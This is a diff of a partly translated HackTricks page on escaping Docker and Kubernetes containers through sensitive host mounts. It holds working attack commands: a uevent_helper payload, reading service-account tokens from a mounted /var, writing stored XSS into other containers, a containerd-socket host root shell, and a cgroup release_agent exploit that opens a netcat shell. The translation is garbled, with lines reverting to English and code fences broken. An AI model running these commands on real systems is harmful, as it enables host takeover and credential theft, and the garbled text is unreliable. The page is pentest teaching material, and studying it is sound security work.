Translated ['src/linux-hardening/privilege-escalation/docker-security/do

src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md

@@ -2,7 +2,7 @@
 
 {{#include ../../../../banners/hacktricks-training.md}}
 
-Η έκθεση των `/proc`, `/sys` και `/var` χωρίς κατάλληλη απομόνωση ονομάτων εισάγει σημαντικούς κινδύνους ασφαλείας, συμπεριλαμβανομένης της αύξησης της επιφάνειας επίθεσης και της αποκάλυψης πληροφοριών. Αυτοί οι κατάλογοι περιέχουν ευαίσθητα αρχεία που, αν είναι κακώς ρυθμισμένα ή προσπελαστούν από μη εξουσιοδοτημένο χρήστη, μπορούν να οδηγήσουν σε διαφυγή κοντέινερ, τροποποίηση του κεντρικού υπολογιστή ή να παρέχουν πληροφορίες που βοηθούν σε περαιτέρω επιθέσεις. Για παράδειγμα, η λανθασμένη τοποθέτηση `-v /proc:/host/proc` μπορεί να παρακάμψει την προστασία του AppArmor λόγω της βασισμένης σε διαδρομή φύσης της, αφήνοντας το `/host/proc` απροστάτευτο.
+Η έκθεση των `/proc`, `/sys` και `/var` χωρίς κατάλληλη απομόνωση ονομάτων χώρου εισάγει σημαντικούς κινδύνους ασφαλείας, συμπεριλαμβανομένης της αύξησης της επιφάνειας επίθεσης και της αποκάλυψης πληροφοριών. Αυτοί οι κατάλογοι περιέχουν ευαίσθητα αρχεία που, αν είναι κακώς ρυθμισμένα ή προσπελαστούν από μη εξουσιοδοτημένο χρήστη, μπορούν να οδηγήσουν σε διαφυγή κοντέινερ, τροποποίηση του κεντρικού υπολογιστή ή να παρέχουν πληροφορίες που διευκολύνουν περαιτέρω επιθέσεις. Για παράδειγμα, η λανθασμένη τοποθέτηση `-v /proc:/host/proc` μπορεί να παρακάμψει την προστασία του AppArmor λόγω της βασισμένης σε διαδρομή φύσης της, αφήνοντας το `/host/proc` απροστάτευτο.
 
 **Μπορείτε να βρείτε περισσότερες λεπτομέρειες για κάθε πιθανή ευπάθεια στο** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**.**
 
@@ -39,7 +39,7 @@ return 0;
 ```
 #### **`/proc/sys/kernel/modprobe`**
 
-- Λεπτομέρειες στο [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
+- Αναλυτικά στο [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
 - Περιέχει τη διαδρομή προς τον φορτωτή πυρήνα, που καλείται για τη φόρτωση πυρήνων.
 - **Παράδειγμα Ελέγχου Πρόσβασης**:
 
@@ -70,7 +70,7 @@ ls -l $(cat /proc/sys/kernel/modprobe) # Έλεγχος πρόσβασης στ
 #### **`/proc/config.gz`**
 
 - Μπορεί να αποκαλύψει τη διαμόρφωση του πυρήνα αν είναι ενεργοποιημένο το `CONFIG_IKCONFIG_PROC`.
-- Χρήσιμο για επιτιθέμενους για την αναγνώριση ευπαθειών στον τρέχοντα πυρήνα.
+- Χρήσιμο για επιτιθέμενους για να εντοπίσουν ευπάθειες στον τρέχοντα πυρήνα.
 
 #### **`/proc/sysrq-trigger`**
 
@@ -132,83 +132,88 @@ echo b > /proc/sysrq-trigger # Επανεκκινεί τον host
 
 - Χρησιμοποιείται για την επεξεργασία `uevents` συσκευών πυρήνα.
 - Η εγγραφή στο `/sys/kernel/uevent_helper` μπορεί να εκτελέσει αυθαίρετα σενάρια κατά την ενεργοποίηση `uevent`.
-- **Παράδειγμα Εκμετάλλευσης**: %%%bash
+- **Παράδειγμα Εκμετάλλευσης**:
+```bash
 
-#### Δημιουργεί ένα payload
+#### Creates a payload
 
 echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper
 
-#### Βρίσκει τη διαδρομή του host από την προσάρτηση OverlayFS για το κοντέινερ
+#### Finds host path from OverlayFS mount for container
 
 host*path=$(sed -n 's/.*\perdir=(\[^,]\_).\*/\1/p' /etc/mtab)
 
-#### Ρυθμίζει το uevent_helper σε κακόβουλο βοηθό
+#### Sets uevent_helper to malicious helper
 
 echo "$host_path/evil-helper" > /sys/kernel/uevent_helper
 
-#### Ενεργοποιεί ένα uevent
+#### Triggers a uevent
 
 echo change > /sys/class/mem/null/uevent
 
-#### Διαβάζει την έξοδο
+#### Reads the output
 
-cat /output %%%
+cat /output
+```
 
 #### **`/sys/class/thermal`**
 
-- Ελέγχει τις ρυθμίσεις θερμοκρασίας, προκαλώντας πιθανώς επιθέσεις DoS ή φυσική ζημιά.
+- Controls temperature settings, potentially causing DoS attacks or physical damage.
 
 #### **`/sys/kernel/vmcoreinfo`**
 
-- Διαρρέει διευθύνσεις πυρήνα, πιθανώς υπονομεύοντας το KASLR.
+- Leaks kernel addresses, potentially compromising KASLR.
 
 #### **`/sys/kernel/security`**
 
-- Περιέχει τη διεπαφή `securityfs`, επιτρέποντας τη διαμόρφωση των Linux Security Modules όπως το AppArmor.
+- Houses `securityfs` interface, allowing configuration of Linux Security Modules like AppArmor.
-- Η πρόσβαση μπορεί να επιτρέψει σε ένα κοντέινερ να απενεργοποιήσει το σύστημα MAC του.
+- Access might enable a container to disable its MAC system.
 
-#### **`/sys/firmware/efi/vars` και `/sys/firmware/efi/efivars`**
+#### **`/sys/firmware/efi/vars` and `/sys/firmware/efi/efivars`**
 
-- Εκθέτει διεπαφές για αλληλεπίδραση με μεταβλητές EFI στο NVRAM.
+- Exposes interfaces for interacting with EFI variables in NVRAM.
-- Λανθασμένη διαμόρφωση ή εκμετάλλευση μπορεί να οδηγήσει σε κατεστραμμένα laptops ή μηχανές host που δεν εκκινούν.
+- Misconfiguration or exploitation can lead to bricked laptops or unbootable host machines.
 
 #### **`/sys/kernel/debug`**
 
-- Το `debugfs` προσφέρει μια διεπαφή αποσφαλμάτωσης "χωρίς κανόνες" στον πυρήνα.
+- `debugfs` offers a "no rules" debugging interface to the kernel.
-- Ιστορικό προβλημάτων ασφαλείας λόγω της απεριόριστης φύσης του.
+- History of security issues due to its unrestricted nature.
 
-### Ευπάθειες στο `/var`
+### `/var` Vulnerabilities
 
-Ο φάκελος **/var** του host περιέχει sockets χρόνου εκτέλεσης κοντέινερ και τα συστήματα αρχείων των κοντέινερ.
+The host's **/var** folder contains container runtime sockets and the containers' filesystems.
-Αν αυτός ο φάκελος είναι προσαρτημένος μέσα σε ένα κοντέινερ, το κοντέινερ αυτό θα αποκτήσει πρόσβαση ανάγνωσης-εγγραφής στα συστήματα αρχείων άλλων κοντέινερ
+If this folder is mounted inside a container, that container will get read-write access to other containers' file systems
-με προνόμια root. Αυτό μπορεί να καταχραστεί για να μεταπηδήσει μεταξύ κοντέινερ, να προκαλέσει άρνηση υπηρεσίας ή να δημιουργήσει backdoor σε άλλα
+with root privileges. This can be abused to pivot between containers, to cause a denial of service, or to backdoor other
-κοντέινερ και εφαρμογές που εκτελούνται σε αυτά.
+containers and applications that run in them.
 
 #### Kubernetes
 
-Αν ένα κοντέινερ όπως αυτό αναπτυχθεί με Kubernetes:
+If a container like this is deployed with Kubernetes:
+
 ```yaml
-apiVersion: v1
+apiVersion: v1  
-kind: Pod
+kind: Pod  
-metadata:
+metadata:  
-name: pod-mounts-var
+  name: pod-mounts-var  
-labels:
+  labels:  
-app: pentest
+    app: pentest  
-spec:
+spec:  
-containers:
+  containers:  
-- name: pod-mounts-var-folder
+    - name: pod-mounts-var-folder  
-image: alpine
+      image: alpine  
-volumeMounts:
+      volumeMounts:  
-- mountPath: /host-var
+        - mountPath: /host-var  
-name: noderoot
+          name: noderoot  
-command: [ "/bin/sh", "-c", "--" ]
+      command: [ "/bin/sh", "-c", "--" ]  
-args: [ "while true; do sleep 30; done;" ]
+      args: [ "while true; do sleep 30; done;" ]  
-volumes:
+  volumes:  
-- name: noderoot
+    - name: noderoot  
-hostPath:
+      hostPath:  
-path: /var
+        path: /var
 ```
-Μέσα στο **pod-mounts-var-folder** κοντέινερ:
+
+Inside the **pod-mounts-var-folder** container:
+
 ```bash
 / # find /host-var/ -type f -iname '*.env*' 2>/dev/null
 
@@ -226,21 +231,22 @@ REFRESH_TOKEN_SECRET=14<SNIP>ea
 /host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/140/fs/usr/share/nginx/html/index.html
 /host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/132/fs/usr/share/nginx/html/index.html
 
-/ # echo '<!DOCTYPE html><html lang="en"><head><script>alert("Stored XSS!")</script></head></html>' > /host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/140/fs/usr/sh
+/ # echo '<!DOCTYPE html><html lang="el"><head><script>alert("Stored XSS!")</script></head></html>' > /host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/140/fs/usr/share/nginx/html/index2.html
-are/nginx/html/index2.html
 ```
-Το XSS επιτεύχθηκε:
+
+The XSS was achieved:
 
 ![Stored XSS via mounted /var folder](/images/stored-xss-via-mounted-var-folder.png)
 
-Σημειώστε ότι το κοντέινερ ΔΕΝ απαιτεί επανεκκίνηση ή οτιδήποτε άλλο. Οποιεσδήποτε αλλαγές γίνουν μέσω του τοποθετημένου **/var** φακέλου θα εφαρμοστούν άμεσα.
+Note that the container DOES NOT require a restart or anything. Any changes made via the mounted **/var** folder will be applied instantly.
 
-Μπορείτε επίσης να αντικαταστήσετε αρχεία ρυθμίσεων, δυαδικά αρχεία, υπηρεσίες, αρχεία εφαρμογών και προφίλ κελύφους για να επιτύχετε αυτόματη (ή ημι-αυτόματη) RCE.
+You can also replace configuration files, binaries, services, application files, and shell profiles to achieve automatic (or semi-automatic) RCE.
 
-##### Πρόσβαση σε διαπιστευτήρια cloud
+##### Access to cloud credentials
+
+The container can read K8s serviceaccount tokens or AWS webidentity tokens
+which allows the container to gain unauthorized access to K8s or cloud:
 
-Το κοντέινερ μπορεί να διαβάσει τα tokens serviceaccount K8s ή τα tokens webidentity AWS
-που επιτρέπουν στο κοντέινερ να αποκτήσει μη εξουσιοδοτημένη πρόσβαση σε K8s ή cloud:
 ```bash
 / # find /host-var/ -type f -iname '*token*' 2>/dev/null | grep kubernetes.io
 /host-var/lib/kubelet/pods/21411f19-934c-489e-aa2c-4906f278431e/volumes/kubernetes.io~projected/kube-api-access-64jw2/..2025_01_22_12_37_42.4197672587/token
@@ -249,30 +255,104 @@ are/nginx/html/index2.html
 /host-var/lib/kubelet/pods/01c671a5-aaeb-4e0b-adcd-1cacd2e418ac/volumes/kubernetes.io~projected/aws-iam-token/..2025_01_22_03_45_56.2328221474/token
 /host-var/lib/kubelet/pods/5fb6bd26-a6aa-40cc-abf7-ecbf18dde1f6/volumes/kubernetes.io~projected/kube-api-access-fm2t6/..2025_01_22_12_25_25.3018586444/token
 ```
+
 #### Docker
 
-Η εκμετάλλευση στο Docker (ή σε αναπτύξεις Docker Compose) είναι ακριβώς η ίδια, εκτός από το ότι συνήθως τα συστήματα αρχείων των άλλων κοντέινερ είναι διαθέσιμα κάτω από μια διαφορετική βασική διαδρομή:
+The exploitation in Docker (or in Docker Compose deployments) is exactly the same, except that usually
+the other containers' filesystems are available under a different base path:
+
 ```bash
 $ docker info | grep -i 'docker root\|storage driver'
 Storage Driver: overlay2
 Docker Root Dir: /var/lib/docker
 ```
-Έτσι, τα συστήματα αρχείων βρίσκονται κάτω από `/var/lib/docker/overlay2/`:
+
+So the filesystems are under `/var/lib/docker/overlay2/`:
+
 ```bash
+```markdown
 $ sudo ls -la /var/lib/docker/overlay2
 
-drwx--x---  4 root root  4096 Jan  9 22:14 00762bca8ea040b1bb28b61baed5704e013ab23a196f5fe4758dafb79dfafd5d
+drwx--x---  4 root root  4096 Ιαν  9 22:14 00762bca8ea040b1bb28b61baed5704e013ab23a196f5fe4758dafb79dfafd5d
-drwx--x---  4 root root  4096 Jan 11 17:00 03cdf4db9a6cc9f187cca6e98cd877d581f16b62d073010571e752c305719496
+drwx--x---  4 root root  4096 Ιαν 11 17:00 03cdf4db9a6cc9f187cca6e98cd877d581f16b62d073010571e752c305719496
-drwx--x---  4 root root  4096 Jan  9 21:23 049e02afb3f8dec80cb229719d9484aead269ae05afe81ee5880ccde2426ef4f
+drwx--x---  4 root root  4096 Ιαν  9 21:23 049e02afb3f8dec80cb229719d9484aead269ae05afe81ee5880ccde2426ef4f
-drwx--x---  4 root root  4096 Jan  9 21:22 062f14e5adbedce75cea699828e22657c8044cd22b68ff1bb152f1a3c8a377f2
+drwx--x---  4 root root  4096 Ιαν  9 21:22 062f14e5adbedce75cea699828e22657c8044cd22b68ff1bb152f1a3c8a377f2
 <SNIP>
 ```
-#### Σημείωση
+```
 
-Οι πραγματικοί δρόμοι μπορεί να διαφέρουν σε διαφορετικές ρυθμίσεις, γι' αυτό η καλύτερη επιλογή σας είναι να χρησιμοποιήσετε την εντολή **find** για να εντοπίσετε τα συστήματα αρχείων των άλλων κοντέινερ και τα SA / web identity tokens.
+#### Note
 
-### Αναφορές
+The actual paths may differ in different setups, which is why your best bet is to use the **find** command to
+locate the other containers' filesystems and SA / web identity tokens
 
+
+
+### Other Sensitive Host Sockets and Directories (2023-2025)
+
+Mounting certain host Unix sockets or writable pseudo-filesystems is equivalent to giving the container full root on the node. **Treat the following paths as highly sensitive and never expose them to untrusted workloads**:
+
+```text
+```
+/run/containerd/containerd.sock     # socket CRI του containerd
+/var/run/crio/crio.sock             # socket runtime CRI-O
+/run/podman/podman.sock             # API Podman (με δικαιώματα root ή χωρίς)
+/var/run/kubelet.sock               # API Kubelet σε κόμβους Kubernetes
+/run/firecracker-containerd.sock    # Kata / Firecracker
+```
+```
+
+Attack example abusing a mounted **containerd** socket:
+
+```bash
+# μέσα στο κοντέινερ (η υποδοχή είναι προσαρτημένη στο /host/run/containerd.sock)
+ctr --address /host/run/containerd.sock images pull docker.io/library/busybox:latest
+ctr --address /host/run/containerd.sock run --tty --privileged --mount \
+type=bind,src=/,dst=/host,options=rbind:rw docker.io/library/busybox:latest host /bin/sh
+chroot /host /bin/bash   # πλήρης ρίζα shell στον οικοδεσπότη
+```
+
+A similar technique works with **crictl**, **podman** or the **kubelet** API once their respective sockets are exposed.
+
+Writable **cgroup v1** mounts are also dangerous. If `/sys/fs/cgroup` is bind-mounted **rw** and the host kernel is vulnerable to **CVE-2022-0492**, an attacker can set a malicious `release_agent` and execute arbitrary code in the *initial* namespace:
+
+```bash
+# υποθέτοντας ότι το κοντέινερ έχει CAP_SYS_ADMIN και έναν ευάλωτο πυρήνα
+mkdir -p /tmp/x && echo 1 > /tmp/x/notify_on_release
+
+echo '/tmp/pwn' > /sys/fs/cgroup/release_agent   # απαιτεί CVE-2022-0492
+
+echo -e '#!/bin/sh\nnc -lp 4444 -e /bin/sh' > /tmp/pwn && chmod +x /tmp/pwn
+sh -c "echo 0 > /tmp/x/cgroup.procs"  # ενεργοποιεί το γεγονός empty-cgroup
+```
+
+When the last process leaves the cgroup, `/tmp/pwn` runs **as root on the host**. Patched kernels (>5.8 with commit `32a0db39f30d`) validate the writer’s capabilities and block this abuse.
+
+### Mount-Related Escape CVEs (2023-2025)
+
+* **CVE-2024-21626 – runc “Leaky Vessels” file-descriptor leak**
+runc ≤1.1.11 leaked an open directory file descriptor that could point to the host root. A malicious image or `docker exec` could start a container whose *working directory* is already on the host filesystem, enabling arbitrary file read/write and privilege escalation. Fixed in runc 1.1.12 (Docker ≥25.0.3, containerd ≥1.7.14).
+
+```Dockerfile
+FROM scratch
+WORKDIR /proc/self/fd/4   # 4 == "/" on the host leaked by the runtime
+CMD ["/bin/sh"]
+```
+
+* **CVE-2024-23651 / 23653 – BuildKit OverlayFS copy-up TOCTOU**
+A race condition in the BuildKit snapshotter let an attacker replace a file that was about to be *copy-up* into the container’s rootfs with a symlink to an arbitrary path on the host, gaining write access outside the build context. Fixed in BuildKit v0.12.5 / Buildx 0.12.0. Exploitation requires an untrusted `docker build` on a vulnerable daemon.
+
+### Hardening Reminders (2025)
+
+1. Bind-mount host paths **read-only** whenever possible and add `nosuid,nodev,noexec` mount options.
+2. Prefer dedicated side-car proxies or rootless clients instead of exposing the runtime socket directly.
+3. Keep the container runtime up-to-date (runc ≥1.1.12, BuildKit ≥0.12.5, containerd ≥1.7.14).
+4. In Kubernetes, use `securityContext.readOnlyRootFilesystem: true`, the *restricted* PodSecurity profile and avoid `hostPath` volumes pointing to the paths listed above.
+
+### References
+
+- [runc CVE-2024-21626 advisory](https://github.com/opencontainers/runc/security/advisories/GHSA-xr7r-f8xq-vfvv)
+- [Unit 42 analysis of CVE-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)
 - [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)
 - [Understanding and Hardening Linux Containers](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc_group_understanding_hardening_linux_containers-1-1.pdf)
 - [Abusing Privileged and Unprivileged Linux Containers](https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container_whitepaper.pdf)